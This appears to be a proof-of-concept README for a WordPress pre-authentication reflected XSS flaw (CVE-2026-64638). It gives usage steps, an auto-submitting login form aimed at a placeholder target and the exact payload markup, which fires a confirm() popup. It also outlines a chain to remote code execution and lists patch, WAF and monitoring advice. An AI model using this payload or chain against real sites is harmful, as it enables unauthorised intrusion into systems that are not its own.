XSS2Shell Alert PoC (CVE-2026-64638)

WordPress Pre-Auth Reflected XSS Proof of Concept

Single-file HTML proof of concept for the CVE-2026-64638 (XSS2Shell) parser-differential XSS in WordPress Core. Demonstrates unauthenticated JavaScript execution in the WordPress origin via a crafted login request.

Vulnerability Information

• CVE: CVE-2026-64638 (XSS2Shell)
• Type: Pre-Auth Reflected XSS (parser differential: strip_tags() vs wp_kses_post())
• Escalation: Can be chained to RCE (DOM clobbering → REST JSONP → SOME → Application Password → plugin upload)
• Affected: WordPress 6.4 – 7.0.2 (practically exploitable range)
• Fixed: WordPress 7.0.3 (backported to maintained branches down to 4.7)

Usage

1. Open POC.html in a text editor.
2. Replace http://TARGET/wp-login.php in the form action with your target.

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. Open the file in a browser. The form auto-submits; if the target is vulnerable, a confirm() (or alert()) popup fires in the WordPress origin.

PoC payload

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

The space after each < is the exploit. Without it, wp_strip_all_tags() removes everything.

Requirements

• A vulnerable WordPress installation (6.4 – 7.0.2, unpatched)
• A browser with JavaScript enabled
• No tooling dependencies (pure HTML)

Detection / Mitigation

• Upgrade to WordPress 7.0.3 or a patched branch.
• Revoke/rotate all existing Application Passwords after patching.
• Block %3C + whitespace patterns in the log field at the WAF/edge.
• Monitor POST /wp-login.php requests where log contains encoded <.

References

• pwn.ai — XSS2Shell: WordPress Preauth XSS to RCE Chain
• WordPress 7.0.3 Release
• Hadrian — CVE-2026-64638 analysis
• IONSEC — XSS2Shell technical analysis